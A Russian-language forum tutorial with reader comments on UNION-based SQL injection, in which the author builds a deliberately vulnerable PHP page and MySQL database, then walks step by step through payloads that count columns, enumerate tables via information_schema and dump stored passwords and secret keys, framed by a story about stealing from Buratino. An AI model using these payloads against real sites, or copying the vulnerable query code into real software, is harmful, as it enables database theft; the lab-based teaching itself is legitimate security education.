Статья SQL-injection, начало - UNION BASED

Приветствую тебя читатель!

Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3

Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.

Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.

Приступим.

Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.

Создадим базу данных
create database golden_key;

2.png


Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;

3.png


Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;

Создаём 2 таблицы с колонками

CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);


4.png


Проверяем desc login; и desc passwd;

5.png


Заполняем поля

INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");

INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");


6.png


Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;

7.png


Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>

Создайте каталог images и закиньте туда ЭТУ ФОТКУ. Обязательно выставите права на Чтение и запись для для "Остальные".

8.png


Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это

9.png


Отлично! Теперь я расскажу вам сказочку )

Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.

Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.

- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!

Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.

Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!

Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...


Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!

10.png


Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:

1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.

13.png


1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
ошибки нет, значит колонок 4

Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.

1' group by 10 -- - ошибка, пишет, что колонки 10 не существует

11.png


1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.

12.png


Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -

Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00


Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/


Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999

Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.

14.png


Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.

16.png


Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key

15.png


А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.

Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -

17.png



Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.

222.png


INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.

2222.png


Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.

Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement

18.png


Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key


Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -

19.png


Ничего себе! Миллион монет на счету, удача идёт прямо в руки!


Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -

Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -

20.png


Бинго!

Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один замечательный ресурс, где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.

1.png


Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")


Удачи!
 
Доброго времени суток.
Подскажите как обрамить запрос в скобки, или двойные кавычки, ведь по умолчанию для обращения к строке sql использует одинарные кавычки?
1-2.jpg

Разве что при заполнении самой таблицы обрамить данные строки, но и в таком случае одинарные кавычки не куда не денутся
3-4.jpg


Попробовал обрамить в скобки в самом index.php, но при добавлении скобки в конце строки ошибки не возникло
5.jpg

Если кто сможет объяснить, буду очень благодарный, а то совсем запутался.
 
Доброго времени суток.
Подскажите как обрамить запрос в скобки, или двойные кавычки, ведь по умолчанию для обращения к строке sql использует одинарные кавычки?
Попробовал обрамить в скобки в самом index.php, но при добавлении скобки в конце строки ошибки не возникло
Посмотреть вложение 33654
Если кто сможет объяснить, буду очень благодарный, а то совсем запутался.

Так конечно ничего не получится - НЕ нужно одновременно использовать скобки с кавычками. Правильно будет так:
$sql="SELECT * FROM login WHERE nickname=($id)";
Таким образом будет обрамление скобками и уязвимость раскручиваться уже будет так:
-1) order by 10 -- -
 
Так конечно ничего не получится - НЕ нужно одновременно использовать скобки с кавычками. Правильно будет так:
$sql="SELECT * FROM login WHERE nickname=($id)";
Таким образом будет обрамление скобками и уязвимость раскручиваться уже будет так:
-1) order by 10 -- -

Так уже пробовал, ошибка нужная при id=Alisa_fox) есть,
но сам код не работает, в смысле не выводит данные когда делаю обычный запрос без скобки, но так ведь не должно быть?
6.jpg

А вот когда беру в кавычки в самой строке, тогда все работает и данные выводит,
7.jpg

логично будет перенести эти кавычки в код, но так опять возвращаемся к nickname=('$id')"; что тоже не работает.
Какой то замкнутый круг)
 
Ну теперь всё встало на свои места. Вывод ошибки даёт ответ. У меня в базе был вывод только по id, а это число. У вас привязка к nickname , а это уже строка. Строка должна быть заключена в кавычки, иначе (когда кавычек нет) БД думает что это колонка. Таким образом кавычки для строки должны быть. Я был невнимателен, поэтому дал неверную рекомендацию. Просто свой таск наизусть знаю, и не заострил внимание, на изменение.
Правильно выводить строку как было у вас раньше $sql="SELECT * FROM login WHERE nickname=('$id')";, а число как я написал.

Жаль что сами не разобрались.
Решать таск следует так:
Alisa_fox') ORDER BY 4 -- -

P.S. Порылся в закладках, вот ресурс где очень хорошо по обрамлению расписано, какие варианты есть с числом, а какие со строкой. Ну и так много разного по sql (и не только) материала, который однозначно будет полезен для изучения.
 
Последнее редактирование:
  • Нравится
Реакции: gergaz
Привет!
Статья классная!!!
Возник такой вопрос, для того, чтобы выяснить название базы, отправляется запрос 99999' union select 1,2,database(),4 -- -
А если в базе всего две колонки, то какой должен быть запрос?
 
Привет!
Статья классная!!!
Возник такой вопрос, для того, чтобы выяснить название базы, отправляется запрос 99999' union select 1,2,database(),4 -- -
А если в базе всего две колонки, то какой должен быть запрос?
Если две, то соответственно будет так - 99999' union select 1,database() -- - или 99999' union select database(),2 -- - в зависимости от того какая колонка уязвима.
 
  • Нравится
Реакции: Сергей Попов
отличная статья,большое спасибо,а как раскрутить такую ошибку к примеру

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /mnt/104/sda/6/a/claire.billaud/duncanspage/page.php on line 28
Screenshot_6.png
 
отличная статья,большое спасибо,а как раскрутить такую ошибку к примеру

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /mnt/104/sda/6/a/claire.billaud/duncanspage/page.php on line 28
Посмотреть вложение 35393

Сообщение о недопустимом аргументе для MySQL. Вариантов очень много, так что без серии тестов нельзя сказать что нужно сделать. К тому же, там судя по всему присутствует другая уязвимость Error-Based, проще всего через неё раскрутить. Как это делается, написано здесь
 
  • Нравится
Реакции: Сrusher
Сообщение о недопустимом аргументе для MySQL. Вариантов очень много, так что без серии тестов нельзя сказать что нужно сделать. К тому же, там судя по всему присутствует другая уязвимость Error-Based, проще всего через неё раскрутить. Как это делается, написано здесь
большое спасибо,могли бы вы посоветовать литературу по поиску уязвимостей на сайте?
 
большое спасибо,могли бы вы посоветовать литературу по поиску уязвимостей на сайте?
Очень дельная книга на русском Жуков Ю. В. - Основы веб-хакинга. Нападение и защита (2-е изд.)
 
Очень дельная книга на русском Жуков Ю. В. - Основы веб-хакинга. Нападение и защита (2-е изд.)

Здрав будь! На русском:
 
Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это
Что то не открывает.. создал index.php файл .. может в самом файле что коментировать нужно?
Каталог с картинкой по какому пути правильно создать?
может что не так делаю, не могу понять
 

Вложения

  • index.png
    index.png
    9,5 КБ · Просмотры: 432
Что то не открывает.. создал index.php файл .. может в самом файле что коментировать нужно?
Каталог с картинкой по какому пути правильно создать?
может что не так делаю, не могу понять
Файл index.php должен быть в каталоге html по этому пути, проверьте /var/www/html/
Картинка должна быть в каталоге images /var/www/html/images/buratino.jpeg

000.png
 
Файл index.php должен быть в каталоге html по этому пути, проверьте /var/www/html/
Картинка должна быть в каталоге images /var/www/html/images/buratino.jpeg

Посмотреть вложение 35691
файл index.php полагаю у меня находится на правильном пути
А вот- Картинка должна быть в каталоге images /var/www/html/images/buratino.jpeg
У меня- /var/www/html/images/buratino.jpeg без images / в начале
 

Вложения

  • index.png
    index.png
    105 КБ · Просмотры: 429
1576261524394.png

Привет, немного застрял)
Вроде все вставил правильно, выдает ошибку:

1576261570134.png
 
Последнее редактирование:
Привет, немного застрял)
Вроде все вставил правильно, выдает ошибку:
Это не выдача ошибки. А ошибка заключается в некорректном коде index.php - видимо где-то случайно стёрты спецсимволы в коде. Просто нужно заново скопировать код, нужно быть внимательнее ...
 
Это не выдача ошибки. А ошибка заключается в некорректном коде index.php - видимо где-то случайно стёрты спецсимволы в коде. Просто нужно заново скопировать код, нужно быть внимательнее ...
3 раза уже копировал без изменений...
 
3 раза уже копировал без изменений...
Судя по скрину у тебя не отрабатывает php а файл открывается как обычный html.

Поэтому:
1) Убедись что ты открываешь с веб сервера, вроде http://locahost а не просто нажал на файл и открыл его в браузере
2) Убедись что на сервере твоем есть php
3) Убедись что ты открываешь именно index.php (может у index.html выше приоритет стоит), открывай явно http://locahost/index.php или вообще удали index.html
 
3 раза уже копировал без изменений...
Да хоть 33 раза. Я уже выше писал - ошибки нет, у вас код index.php отличается от оригинала. Вот воспроизвёл такую же картину, что и у вас:

9999.png


А теперь откройте в текстовом редакторе index.php и скажите, что у вас в коде выше этого участка кода? connect_error);

Вот корректный код:

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab